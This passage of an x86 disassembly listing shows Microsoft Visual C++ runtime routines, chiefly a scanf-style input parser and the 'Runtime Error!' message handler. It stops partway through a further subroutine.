loc_412DE3: ; CODE XREF: sub_412A74+335j xor ebx, ebx cmp [ebp+18Ch+var_190], 2Dh jnz short loc_412DF4 mov eax, [ebp+18Ch+var_1B0] mov byte ptr [eax], 2Dh inc ebx jmp short loc_412DFA ; --------------------------------------------------------------------------- loc_412DF4: ; CODE XREF: sub_412A74+375j cmp [ebp+18Ch+var_190], 2Bh jnz short loc_412E0B loc_412DFA: ; CODE XREF: sub_412A74+37Ej dec [ebp+18Ch+var_198] mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov [ebp+18Ch+var_190], eax loc_412E0B: ; CODE XREF: sub_412A74+384j cmp [ebp+18Ch+var_1B8], 0 jnz short loc_412E15 or [ebp+18Ch+var_198], 0FFFFFFFFh loc_412E15: ; CODE XREF: sub_412A74+39Bj movzx eax, byte ptr [ebp+18Ch+var_190] jmp short loc_412E62 ; --------------------------------------------------------------------------- loc_412E1B: ; CODE XREF: sub_412A74+3F7j mov eax, [ebp+18Ch+var_198] dec [ebp+18Ch+var_198] test eax, eax jz short loc_412E6D mov al, byte ptr [ebp+18Ch+var_190] mov ecx, [ebp+18Ch+var_1B0] inc [ebp+18Ch+var_1A8] mov [ebx+ecx], al lea eax, [ebp+18Ch+var_1D0] push eax lea eax, [ebp+18Ch+var_184] push eax inc ebx push ebx lea edi, [ebp+18Ch+var_1B0] lea esi, [ebp+18Ch+var_1D8] call sub_4129E5 add esp, 0Ch test eax, eax jz loc_413666 mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov [ebp+18Ch+var_190], eax movzx eax, al loc_412E62: ; CODE XREF: sub_412A74+3A5j push eax call sub_418D4B test eax, eax pop ecx jnz short loc_412E1B loc_412E6D: ; CODE XREF: sub_412A74+3AFj mov eax, [ebp+18Ch+var_1F8] mov eax, [eax+0BCh] mov eax, [eax] mov al, [eax] cmp al, byte ptr [ebp+18Ch+var_190] mov [ebp+18Ch+var_1A4], al jnz loc_412F23 mov eax, [ebp+18Ch+var_198] dec [ebp+18Ch+var_198] test eax, eax jz loc_412F23 mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov ecx, [ebp+18Ch+var_1B0] mov [ebp+18Ch+var_190], eax mov al, [ebp+18Ch+var_1A4] mov [ebx+ecx], al lea eax, [ebp+18Ch+var_1D0] push eax lea eax, [ebp+18Ch+var_184] push eax inc ebx push ebx lea edi, [ebp+18Ch+var_1B0] lea esi, [ebp+18Ch+var_1D8] call sub_4129E5 add esp, 0Ch test eax, eax jz loc_413666 movzx eax, byte ptr [ebp+18Ch+var_190] jmp short loc_412F18 ; --------------------------------------------------------------------------- loc_412ED1: ; CODE XREF: sub_412A74+4ADj mov eax, [ebp+18Ch+var_198] dec [ebp+18Ch+var_198] test eax, eax jz short loc_412F23 mov eax, [ebp+18Ch+var_1B0] mov cl, byte ptr [ebp+18Ch+var_190] inc [ebp+18Ch+var_1A8] mov [ebx+eax], cl lea eax, [ebp+18Ch+var_1D0] push eax lea eax, [ebp+18Ch+var_184] push eax inc ebx push ebx lea edi, [ebp+18Ch+var_1B0] lea esi, [ebp+18Ch+var_1D8] call sub_4129E5 add esp, 0Ch test eax, eax jz loc_413666 mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov [ebp+18Ch+var_190], eax movzx eax, al loc_412F18: ; CODE XREF: sub_412A74+45Bj push eax call sub_418D4B test eax, eax pop ecx jnz short loc_412ED1 loc_412F23: ; CODE XREF: sub_412A74+40Cj ; sub_412A74+41Aj ... cmp [ebp+18Ch+var_1A8], 0 jz loc_413023 cmp [ebp+18Ch+var_190], 65h jz short loc_412F3D cmp [ebp+18Ch+var_190], 45h jnz loc_413023 loc_412F3D: ; CODE XREF: sub_412A74+4BDj mov eax, [ebp+18Ch+var_198] dec [ebp+18Ch+var_198] test eax, eax jz loc_413023 mov eax, [ebp+18Ch+var_1B0] mov byte ptr [ebx+eax], 65h lea eax, [ebp+18Ch+var_1D0] push eax lea eax, [ebp+18Ch+var_184] push eax inc ebx push ebx lea edi, [ebp+18Ch+var_1B0] lea esi, [ebp+18Ch+var_1D8] call sub_4129E5 add esp, 0Ch test eax, eax jz loc_413666 mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 cmp eax, 2Dh mov [ebp+18Ch+var_190], eax jnz short loc_412FA8 mov eax, [ebp+18Ch+var_1B0] mov byte ptr [ebx+eax], 2Dh lea eax, [ebp+18Ch+var_1D0] push eax lea eax, [ebp+18Ch+var_184] push eax inc ebx push ebx call sub_4129E5 add esp, 0Ch test eax, eax jz loc_413666 jmp short loc_412FAE ; --------------------------------------------------------------------------- loc_412FA8: ; CODE XREF: sub_412A74+50Fj cmp [ebp+18Ch+var_190], 2Bh jnz short loc_412FCB loc_412FAE: ; CODE XREF: sub_412A74+532j mov eax, [ebp+18Ch+var_198] dec [ebp+18Ch+var_198] test eax, eax jnz short loc_412FBD and [ebp+18Ch+var_198], eax jmp short loc_412FCB ; --------------------------------------------------------------------------- loc_412FBD: ; CODE XREF: sub_412A74+542j mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov [ebp+18Ch+var_190], eax loc_412FCB: ; CODE XREF: sub_412A74+538j ; sub_412A74+547j movzx eax, byte ptr [ebp+18Ch+var_190] jmp short loc_413018 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412A74+5ADj mov eax, [ebp+18Ch+var_198] dec [ebp+18Ch+var_198] test eax, eax jz short loc_413023 mov eax, [ebp+18Ch+var_1B0] mov cl, byte ptr [ebp+18Ch+var_190] inc [ebp+18Ch+var_1A8] mov [ebx+eax], cl lea eax, [ebp+18Ch+var_1D0] push eax lea eax, [ebp+18Ch+var_184] push eax inc ebx push ebx lea edi, [ebp+18Ch+var_1B0] lea esi, [ebp+18Ch+var_1D8] call sub_4129E5 add esp, 0Ch test eax, eax jz loc_413666 mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov [ebp+18Ch+var_190], eax movzx eax, al loc_413018: ; CODE XREF: sub_412A74+55Bj push eax call sub_418D4B test eax, eax pop ecx jnz short loc_412FD1 loc_413023: ; CODE XREF: sub_412A74+4B3j ; sub_412A74+4C3j ... dec [ebp+18Ch+var_188] cmp [ebp+18Ch+var_190], 0FFFFFFFFh jz short loc_413039 push [ebp+18Ch+var_1A0] push [ebp+18Ch+var_190] call sub_418E6B pop ecx pop ecx loc_413039: ; CODE XREF: sub_412A74+5B6j cmp [ebp+18Ch+var_1A8], 0 jz loc_413666 cmp [ebp+18Ch+var_199], 0 jnz loc_4135CE mov eax, [ebp+18Ch+var_1B0] inc [ebp+18Ch+var_1C8] lea ecx, [ebp+18Ch+var_1F8] push ecx push eax push [ebp+18Ch+var_1C4] mov byte ptr [ebx+eax], 0 movsx eax, [ebp+18Ch+var_19A] dec eax push eax push off_423F7C call sub_40F194 pop ecx call eax add esp, 10h jmp loc_4135CE ; --------------------------------------------------------------------------- loc_41307B: ; CODE XREF: sub_412A74+31Bj test ecx, ecx jnz short loc_413089 inc [ebp+18Ch+var_198] mov [ebp+18Ch+var_1B8], 1 loc_413089: ; CODE XREF: sub_412A74+609j ; sub_412A74+723j cmp [ebp+18Ch+var_191], 0 jle short loc_413093 mov [ebp+18Ch+var_1A2], 1 loc_413093: ; CODE XREF: sub_412A74+619j ; sub_412A74+823j dec [ebp+18Ch+var_188] cmp [ebp+18Ch+var_190], 0FFFFFFFFh mov edi, esi jz short loc_4130AB push [ebp+18Ch+var_1A0] push [ebp+18Ch+var_190] call sub_418E6B pop ecx pop ecx loc_4130AB: ; CODE XREF: sub_412A74+628j ; sub_412A74+8E6j ... cmp [ebp+18Ch+var_1B8], 0 jz short loc_4130BF mov eax, [ebp+18Ch+var_198] dec [ebp+18Ch+var_198] test eax, eax jz loc_413378 loc_4130BF: ; CODE XREF: sub_412A74+63Bj mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 cmp eax, 0FFFFFFFFh mov [ebp+18Ch+var_190], eax jz loc_413365 cmp ebx, 63h jz short loc_413124 cmp ebx, 73h jnz short loc_4130F3 cmp eax, 9 jl short loc_4130EE cmp eax, 0Dh jle loc_413365 loc_4130EE: ; CODE XREF: sub_412A74+66Fj cmp eax, 20h jnz short loc_413124 loc_4130F3: ; CODE XREF: sub_412A74+66Aj cmp ebx, 7Bh jnz loc_413365 movsx ebx, [ebp+18Ch+var_1A4] xor edx, edx mov ecx, eax and ecx, 7 inc edx shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+18Ch+var_24] xor ecx, ebx test edx, ecx mov ebx, [ebp+18Ch+var_1AC] jz loc_413365 loc_413124: ; CODE XREF: sub_412A74+665j ; sub_412A74+67Dj cmp [ebp+18Ch+var_199], 0 jnz loc_41335F cmp [ebp+18Ch+var_1A2], 0 jz loc_413354 mov [ebp+18Ch+var_1DC], al movzx eax, al push eax call sub_416796 test eax, eax pop ecx jz short loc_413157 mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov [ebp+18Ch+var_1DB], al loc_413157: ; CODE XREF: sub_412A74+6D3j lea eax, [ebp+18Ch+var_1F8] push eax mov eax, [ebp+18Ch+var_1F8] mov [ebp+18Ch+var_1E8], 3Fh push dword ptr [eax+0ACh] lea eax, [ebp+18Ch+var_1DC] push eax lea eax, [ebp+18Ch+var_1E8] push eax call sub_418F89 mov ax, word ptr [ebp+18Ch+var_1E8] add esp, 10h mov [esi], ax inc esi inc esi jmp loc_413357 ; --------------------------------------------------------------------------- loc_413189: ; CODE XREF: sub_412A74+30Cj mov eax, ebx sub eax, 70h jz loc_4133B0 sub eax, 3 jz loc_413089 dec eax dec eax jz loc_4133B4 sub eax, 3 jz loc_412DCE sub eax, 3 jz short loc_4131D7 loc_4131B3: ; CODE XREF: sub_412A74+32Cj ; sub_412A74+33Fj movzx eax, byte ptr [edi] cmp eax, [ebp+18Ch+var_190] jnz loc_41363E dec [ebp+18Ch+var_1A1] cmp [ebp+18Ch+var_199], 0 jnz loc_4135CE mov eax, [ebp+18Ch+var_1FC] mov [ebp+18Ch+var_1E4], eax jmp loc_4135CE ; --------------------------------------------------------------------------- loc_4131D7: ; CODE XREF: sub_412A74+73Dj cmp [ebp+18Ch+var_191], 0 jle short loc_4131E1 mov [ebp+18Ch+var_1A2], 1 loc_4131E1: ; CODE XREF: sub_412A74+767j inc edi cmp byte ptr [edi], 5Eh mov esi, edi jnz short loc_4131F0 lea esi, [edi+1] mov [ebp+18Ch+var_1A4], 0FFh loc_4131F0: ; CODE XREF: sub_412A74+773j push 20h lea eax, [ebp+18Ch+var_24] push 0 push eax call sub_40C6F0 add esp, 0Ch cmp byte ptr [esi], 5Dh jnz short loc_413214 mov dl, 5Dh inc esi mov [ebp+18Ch+var_19], 20h jmp short loc_413283 ; --------------------------------------------------------------------------- loc_413214: ; CODE XREF: sub_412A74+792j mov dl, [ebp+18Ch+var_1C9] jmp short loc_413283 ; --------------------------------------------------------------------------- loc_413219: ; CODE XREF: sub_412A74+813j inc esi cmp al, 2Dh jnz short loc_413266 test dl, dl jz short loc_413266 mov cl, [esi] cmp cl, 5Dh jz short loc_413266 inc esi cmp dl, cl jnb short loc_413232 mov al, cl jmp short loc_413236 ; --------------------------------------------------------------------------- loc_413232: ; CODE XREF: sub_412A74+7B8j mov al, dl mov dl, cl loc_413236: ; CODE XREF: sub_412A74+7BCj cmp dl, al ja short loc_413262 sub al, dl inc al movzx edi, dl movzx edx, al loc_413244: ; CODE XREF: sub_412A74+7E9j mov ecx, edi and ecx, 7 mov eax, edi mov bl, 1 shl bl, cl shr eax, 3 lea eax, [ebp+eax+18Ch+var_24] or [eax], bl inc edi dec edx jnz short loc_413244 mov ebx, [ebp+18Ch+var_1AC] loc_413262: ; CODE XREF: sub_412A74+7C4j xor dl, dl jmp short loc_413283 ; --------------------------------------------------------------------------- loc_413266: ; CODE XREF: sub_412A74+7A8j ; sub_412A74+7ACj ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shl bl, cl shr eax, 3 lea eax, [ebp+eax+18Ch+var_24] or [eax], bl mov ebx, [ebp+18Ch+var_1AC] loc_413283: ; CODE XREF: sub_412A74+79Ej ; sub_412A74+7A3j ... mov al, [esi] cmp al, 5Dh jnz short loc_413219 test al, al jz loc_413666 mov [ebp+18Ch+var_1B4], esi mov esi, [ebp+18Ch+var_1C4] jmp loc_413093 ; --------------------------------------------------------------------------- loc_41329C: ; CODE XREF: sub_412A74+360j cmp ebx, 2Bh jnz short loc_4132C0 loc_4132A1: ; CODE XREF: sub_412A74+36Aj dec [ebp+18Ch+var_198] jnz short loc_4132B0 test ecx, ecx jz short loc_4132B0 mov [ebp+18Ch+var_189], 1 jmp short loc_4132C0 ; --------------------------------------------------------------------------- loc_4132B0: ; CODE XREF: sub_412A74+830j ; sub_412A74+834j mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov ebx, eax mov [ebp+18Ch+var_190], ebx loc_4132C0: ; CODE XREF: sub_412A74+82Bj ; sub_412A74+83Aj cmp ebx, 30h jnz loc_4133E6 mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov ebx, eax cmp bl, 78h mov [ebp+18Ch+var_190], ebx jz short loc_413325 cmp bl, 58h jz short loc_413325 cmp [ebp+18Ch+var_1AC], 78h mov [ebp+18Ch+var_1A8], 1 jz short loc_41330A cmp [ebp+18Ch+var_1B8], 0 jz short loc_4132FE dec [ebp+18Ch+var_198] jnz short loc_4132FE inc [ebp+18Ch+var_189] loc_4132FE: ; CODE XREF: sub_412A74+880j ; sub_412A74+885j mov [ebp+18Ch+var_1AC], 6Fh jmp loc_4133E6 ; --------------------------------------------------------------------------- loc_41330A: ; CODE XREF: sub_412A74+87Aj dec [ebp+18Ch+var_188] cmp ebx, 0FFFFFFFFh jz short loc_41331D push [ebp+18Ch+var_1A0] push ebx call sub_418E6B pop ecx pop ecx loc_41331D: ; CODE XREF: sub_412A74+89Cj push 30h pop ebx jmp loc_4133E3 ; --------------------------------------------------------------------------- loc_413325: ; CODE XREF: sub_412A74+868j ; sub_412A74+86Dj mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 cmp [ebp+18Ch+var_1B8], 0 mov ebx, eax mov [ebp+18Ch+var_190], ebx jz short loc_413348 sub [ebp+18Ch+var_198], 2 cmp [ebp+18Ch+var_198], 1 jge short loc_413348 inc [ebp+18Ch+var_189] loc_413348: ; CODE XREF: sub_412A74+8C5j ; sub_412A74+8CFj mov [ebp+18Ch+var_1AC], 78h jmp loc_4133E6 ; --------------------------------------------------------------------------- loc_413354: ; CODE XREF: sub_412A74+6BEj mov [esi], al inc esi loc_413357: ; CODE XREF: sub_412A74+710j mov [ebp+18Ch+var_1C4], esi jmp loc_4130AB ; --------------------------------------------------------------------------- loc_41335F: ; CODE XREF: sub_412A74+6B4j inc edi jmp loc_4130AB ; --------------------------------------------------------------------------- loc_413365: ; CODE XREF: sub_412A74+65Cj ; sub_412A74+674j ... dec [ebp+18Ch+var_188] cmp eax, 0FFFFFFFFh jz short loc_413378 push [ebp+18Ch+var_1A0] push eax call sub_418E6B pop ecx pop ecx loc_413378: ; CODE XREF: sub_412A74+645j ; sub_412A74+8F7j cmp edi, esi jz loc_413666 cmp [ebp+18Ch+var_199], 0 jnz loc_4135CE inc [ebp+18Ch+var_1C8] cmp ebx, 63h jz loc_4135CE cmp [ebp+18Ch+var_1A2], 0 mov eax, [ebp+18Ch+var_1C4] jz short loc_4133A8 and word ptr [eax], 0 jmp loc_4135CE ; --------------------------------------------------------------------------- loc_4133A8: ; CODE XREF: sub_412A74+929j mov byte ptr [eax], 0 jmp loc_4135CE ; --------------------------------------------------------------------------- loc_4133B0: ; CODE XREF: sub_412A74+71Aj mov [ebp+18Ch+var_19A], 1 loc_4133B4: ; CODE XREF: sub_412A74+312j ; sub_412A74+326j ... mov ebx, [ebp+18Ch+var_190] cmp ebx, 2Dh jnz short loc_4133C2 mov [ebp+18Ch+var_1A3], 1 jmp short loc_4133C7 ; --------------------------------------------------------------------------- loc_4133C2: ; CODE XREF: sub_412A74+946j cmp ebx, 2Bh jnz short loc_4133E6 loc_4133C7: ; CODE XREF: sub_412A74+94Cj dec [ebp+18Ch+var_198] jnz short loc_4133D6 test ecx, ecx jz short loc_4133D6 mov [ebp+18Ch+var_189], 1 jmp short loc_4133E6 ; --------------------------------------------------------------------------- loc_4133D6: ; CODE XREF: sub_412A74+956j ; sub_412A74+95Aj mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov ebx, eax loc_4133E3: ; CODE XREF: sub_412A74+8ACj mov [ebp+18Ch+var_190], ebx loc_4133E6: ; CODE XREF: sub_412A74+84Fj ; sub_412A74+891j ... cmp [ebp+18Ch+var_1D4], 0 jz loc_4134EB cmp [ebp+18Ch+var_189], 0 jnz loc_4134C6 loc_4133FA: ; CODE XREF: sub_412A74+A3Aj cmp [ebp+18Ch+var_1AC], 78h jz short loc_41344F cmp [ebp+18Ch+var_1AC], 70h jz short loc_41344F movzx eax, bl push eax call sub_418D4B test eax, eax pop ecx jz loc_4134B3 cmp [ebp+18Ch+var_1AC], 6Fh jnz short loc_413439 cmp ebx, 38h jge loc_4134B3 mov eax, [ebp+18Ch+var_1BC] mov esi, [ebp+18Ch+var_1C0] shld eax, esi, 3 shl esi, 3 mov [ebp+18Ch+var_1BC], eax jmp short loc_413484 ; --------------------------------------------------------------------------- loc_413439: ; CODE XREF: sub_412A74+9A8j push 0 push 0Ah push [ebp+18Ch+var_1BC] push [ebp+18Ch+var_1C0] call sub_4190C0 mov esi, eax mov [ebp+18Ch+var_1BC], edx jmp short loc_413484 ; --------------------------------------------------------------------------- loc_41344F: ; CODE XREF: sub_412A74+98Aj ; sub_412A74+990j movzx edi, bl push edi call sub_418DC8 test eax, eax pop ecx jz short loc_4134B3 mov eax, [ebp+18Ch+var_1BC] mov esi, [ebp+18Ch+var_1C0] shld eax, esi, 4 push edi shl esi, 4 mov [ebp+18Ch+var_1BC], eax call sub_418D4B test eax, eax pop ecx movsx ebx, bl jnz short loc_413481 and ebx, 0FFFFFFDFh sub ebx, 7 loc_413481: ; CODE XREF: sub_412A74+A05j mov [ebp+18Ch+var_190], ebx loc_413484: ; CODE XREF: sub_412A74+9C3j ; sub_412A74+9D9j inc [ebp+18Ch+var_1A8] lea eax, [ebx-30h] cdq add esi, eax adc [ebp+18Ch+var_1BC], edx cmp [ebp+18Ch+var_1B8], 0 mov [ebp+18Ch+var_1C0], esi jz short loc_41349E dec [ebp+18Ch+var_198] jz short loc_4134C6 loc_41349E: ; CODE XREF: sub_412A74+A23j mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov ebx, eax mov [ebp+18Ch+var_190], ebx jmp loc_4133FA ; --------------------------------------------------------------------------- loc_4134B3: ; CODE XREF: sub_412A74+99Ej ; sub_412A74+9ADj ... dec [ebp+18Ch+var_188] cmp ebx, 0FFFFFFFFh jz short loc_4134C6 push [ebp+18Ch+var_1A0] push ebx call sub_418E6B pop ecx pop ecx loc_4134C6: ; CODE XREF: sub_412A74+980j ; sub_412A74+A28j ... cmp [ebp+18Ch+var_1A3], 0 mov edi, [ebp+18Ch+var_1E0] jz loc_41358E mov eax, [ebp+18Ch+var_1C0] mov ecx, [ebp+18Ch+var_1BC] neg eax adc ecx, 0 neg ecx mov [ebp+18Ch+var_1C0], eax mov [ebp+18Ch+var_1BC], ecx jmp loc_41358E ; --------------------------------------------------------------------------- loc_4134EB: ; CODE XREF: sub_412A74+976j cmp [ebp+18Ch+var_189], 0 mov edi, [ebp+18Ch+var_1E0] jnz loc_413586 loc_4134F8: ; CODE XREF: sub_412A74+AFDj cmp [ebp+18Ch+var_1AC], 78h jz short loc_413527 cmp [ebp+18Ch+var_1AC], 70h jz short loc_413527 movzx eax, bl push eax call sub_418D4B test eax, eax pop ecx jz short loc_413573 cmp [ebp+18Ch+var_1AC], 6Fh jnz short loc_413522 cmp ebx, 38h jge short loc_413573 shl edi, 3 jmp short loc_41354F ; --------------------------------------------------------------------------- loc_413522: ; CODE XREF: sub_412A74+AA2j imul edi, 0Ah jmp short loc_41354F ; --------------------------------------------------------------------------- loc_413527: ; CODE XREF: sub_412A74+A88j ; sub_412A74+A8Ej movzx esi, bl push esi call sub_418DC8 test eax, eax pop ecx jz short loc_413573 push esi shl edi, 4 call sub_418D4B test eax, eax pop ecx movsx ebx, bl jnz short loc_41354C and ebx, 0FFFFFFDFh sub ebx, 7 loc_41354C: ; CODE XREF: sub_412A74+AD0j mov [ebp+18Ch+var_190], ebx loc_41354F: ; CODE XREF: sub_412A74+AACj ; sub_412A74+AB1j inc [ebp+18Ch+var_1A8] cmp [ebp+18Ch+var_1B8], 0 lea edi, [edi+ebx-30h] jz short loc_413561 dec [ebp+18Ch+var_198] jz short loc_413586 loc_413561: ; CODE XREF: sub_412A74+AE6j mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov ebx, eax mov [ebp+18Ch+var_190], ebx jmp short loc_4134F8 ; --------------------------------------------------------------------------- loc_413573: ; CODE XREF: sub_412A74+A9Cj ; sub_412A74+AA7j ... dec [ebp+18Ch+var_188] cmp ebx, 0FFFFFFFFh jz short loc_413586 push [ebp+18Ch+var_1A0] push ebx call sub_418E6B pop ecx pop ecx loc_413586: ; CODE XREF: sub_412A74+A7Ej ; sub_412A74+AEBj ... cmp [ebp+18Ch+var_1A3], 0 jz short loc_41358E neg edi loc_41358E: ; CODE XREF: sub_412A74+A59j ; sub_412A74+A72j ... cmp [ebp+18Ch+var_1AC], 46h jnz short loc_413598 and [ebp+18Ch+var_1A8], 0 loc_413598: ; CODE XREF: sub_412A74+B1Ej cmp [ebp+18Ch+var_1A8], 0 jz loc_413666 cmp [ebp+18Ch+var_199], 0 jnz short loc_4135CE inc [ebp+18Ch+var_1C8] mov esi, [ebp+18Ch+var_1C4] loc_4135AE: ; CODE XREF: sub_412A74+34Cj cmp [ebp+18Ch+var_1D4], 0 jz short loc_4135C1 mov eax, [ebp+18Ch+var_1C0] mov [esi], eax mov eax, [ebp+18Ch+var_1BC] mov [esi+4], eax jmp short loc_4135CE ; --------------------------------------------------------------------------- loc_4135C1: ; CODE XREF: sub_412A74+B3Ej cmp [ebp+18Ch+var_19A], 0 jz short loc_4135CB mov [esi], edi jmp short loc_4135CE ; --------------------------------------------------------------------------- loc_4135CB: ; CODE XREF: sub_412A74+B51j mov [esi], di loc_4135CE: ; CODE XREF: sub_412A74+352j ; sub_412A74+5D3j ... mov edi, [ebp+18Ch+var_1B4] inc [ebp+18Ch+var_1A1] inc edi mov [ebp+18Ch+var_1B4], edi jmp short loc_41361C ; --------------------------------------------------------------------------- loc_4135DA: ; CODE XREF: sub_412A74+17Cj mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 mov ebx, eax movzx eax, byte ptr [edi] inc edi cmp eax, ebx mov [ebp+18Ch+var_190], ebx mov [ebp+18Ch+var_1B4], edi jnz short loc_413654 movzx eax, bl push eax call sub_416796 test eax, eax pop ecx jz short loc_41361C mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 movzx ecx, byte ptr [edi] inc edi cmp ecx, eax mov [ebp+18Ch+var_1B4], edi jnz short loc_413644 dec [ebp+18Ch+var_188] loc_41361C: ; CODE XREF: sub_412A74+B64j ; sub_412A74+B8Dj cmp [ebp+18Ch+var_190], 0FFFFFFFFh jnz short loc_413632 cmp byte ptr [edi], 25h jnz short loc_413666 mov eax, [ebp+18Ch+var_1B4] cmp byte ptr [eax+1], 6Eh jnz short loc_413666 mov edi, eax loc_413632: ; CODE XREF: sub_412A74+174j ; sub_412A74+BACj mov al, [edi] test al, al jnz loc_412BAC jmp short loc_413666 ; --------------------------------------------------------------------------- loc_41363E: ; CODE XREF: sub_412A74+303j ; sub_412A74+745j cmp [ebp+18Ch+var_190], 0FFFFFFFFh jmp short loc_413657 ; --------------------------------------------------------------------------- loc_413644: ; CODE XREF: sub_412A74+BA3j cmp eax, 0FFFFFFFFh jz short loc_413654 push [ebp+18Ch+var_1A0] push eax call sub_418E6B pop ecx pop ecx loc_413654: ; CODE XREF: sub_412A74+B7Fj ; sub_412A74+BD3j cmp ebx, 0FFFFFFFFh loc_413657: ; CODE XREF: sub_412A74+BCEj jz short loc_413666 push [ebp+18Ch+var_1A0] push [ebp+18Ch+var_190] call sub_418E6B pop ecx pop ecx loc_413666: ; CODE XREF: sub_412A74+2ECj ; sub_412A74+3D7j ... cmp [ebp+18Ch+var_1D0], 1 jnz short loc_413675 push [ebp+18Ch+var_1B0] call sub_40D35A pop ecx loc_413675: ; CODE XREF: sub_412A74+BF6j cmp [ebp+18Ch+var_190], 0FFFFFFFFh jnz short loc_413699 mov eax, [ebp+18Ch+var_1C8] test eax, eax jnz short loc_41368A cmp [ebp+18Ch+var_1A1], al jnz short loc_41368A or eax, 0FFFFFFFFh loc_41368A: ; CODE XREF: sub_412A74+C0Cj ; sub_412A74+C11j cmp [ebp+18Ch+var_1EC], 0 jz short loc_4136A9 mov ecx, [ebp+18Ch+var_1F0] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_4136A9 ; --------------------------------------------------------------------------- loc_413699: ; CODE XREF: sub_412A74+12Fj ; sub_412A74+C05j cmp [ebp+18Ch+var_1EC], 0 jz short loc_4136A6 mov eax, [ebp+18Ch+var_1F0] and dword ptr [eax+70h], 0FFFFFFFDh loc_4136A6: ; CODE XREF: sub_412A74+C29j mov eax, [ebp+18Ch+var_1C8] loc_4136A9: ; CODE XREF: sub_412A74+70j ; sub_412A74+C1Aj ... mov ecx, [ebp+18Ch+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A add ebp, 18Ch leave retn sub_412A74 endp ; =============== S U B R O U T I N E ======================================= sub_4136C1 proc near ; CODE XREF: sub_40D437+2Ap ; sub_40DF6D+12p ... var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx push ebx mov ebx, [esp+8+arg_0] push esi push edi xor esi, esi xor edi, edi loc_4136CD: ; CODE XREF: sub_4136C1+19j cmp ebx, dword_423BE0[edi*8] jz short loc_4136DC inc edi cmp edi, 17h jl short loc_4136CD loc_4136DC: ; CODE XREF: sub_4136C1+13j cmp edi, 17h jnb loc_41385C push ebp push 3 call sub_419292 cmp eax, 1 pop ecx jz loc_413828 push 3 call sub_419292 test eax, eax pop ecx jnz short loc_413710 cmp dword_423060, 1 jz loc_413828 loc_413710: ; CODE XREF: sub_4136C1+40j cmp ebx, 0FCh jz loc_41385B push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " mov ebx, 314h push ebx mov ebp, offset dword_426058 push ebp call sub_4117D5 add esp, 0Ch test eax, eax jz short loc_413746 push esi push esi push esi push esi push esi call sub_40CA0C add esp, 14h loc_413746: ; CODE XREF: sub_4136C1+76j push 104h mov esi, offset byte_426071 push esi push 0 mov byte_426175, 0 call ds:dword_41E0B4 ; GetModuleFileNameA test eax, eax jnz short loc_41378A push offset aProgramNameUnk ; "<program name unknown>" push 2FBh push esi call sub_4117D5 add esp, 0Ch test eax, eax jz short loc_41378A xor eax, eax push eax push eax push eax push eax push eax call sub_40CA0C add esp, 14h loc_41378A: ; CODE XREF: sub_4136C1+A1j ; sub_4136C1+B8j push esi call sub_40C500 inc eax cmp eax, 3Ch pop ecx jbe short loc_4137CF push esi call sub_40C500 sub esi, 3Bh add eax, esi push 3 mov ecx, offset dword_42636C push offset a___ ; "..." sub ecx, eax push ecx push eax call sub_4165A6 add esp, 14h test eax, eax jz short loc_4137CF xor esi, esi push esi push esi push esi push esi push esi call sub_40CA0C add esp, 14h jmp short loc_4137D1 ; --------------------------------------------------------------------------- loc_4137CF: ; CODE XREF: sub_4136C1+D4j ; sub_4136C1+FBj xor esi, esi loc_4137D1: ; CODE XREF: sub_4136C1+10Cj push offset asc_41EB00 ; "\n\n" push ebx push ebp call sub_4164ED add esp, 0Ch test eax, eax jz short loc_4137F1 push esi push esi push esi push esi push esi call sub_40CA0C add esp, 14h loc_4137F1: ; CODE XREF: sub_4136C1+121j push off_423BE4[edi*8] push ebx push ebp call sub_4164ED add esp, 0Ch test eax, eax jz short loc_413813 push esi push esi push esi push esi push esi call sub_40CA0C add esp, 14h loc_413813: ; CODE XREF: sub_4136C1+143j push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push ebp call sub_4190F4 add esp, 0Ch jmp short loc_41385B ; --------------------------------------------------------------------------- loc_413828: ; CODE XREF: sub_4136C1+30j ; sub_4136C1+49j push 0FFFFFFF4h call ds:dword_41E134 ; GetStdHandle mov ebp, eax cmp ebp, esi jz short loc_41385B cmp ebp, 0FFFFFFFFh jz short loc_41385B push 0 lea eax, [esp+18h+var_4] push eax lea esi, ds:423BE4h[edi*8] push dword ptr [esi] call sub_40C500 pop ecx push eax push dword ptr [esi] push ebp call ds:off_41E078 loc_41385B: ; CODE XREF: sub_4136C1+55j ; sub_4136C1+165j ... pop ebp loc_41385C: ; CODE XREF: sub_4136C1+1Ej pop edi pop esi pop ebx pop ecx retn sub_4136C1 endp ; =============== S U B R O U T I N E ======================================= sub_413861 proc near ; CODE XREF: sub_40D437+23p ; sub_40DF6D+9p ... push 3 call sub_419292 cmp eax, 1 pop ecx jz short loc_413883 push 3 call sub_419292 test 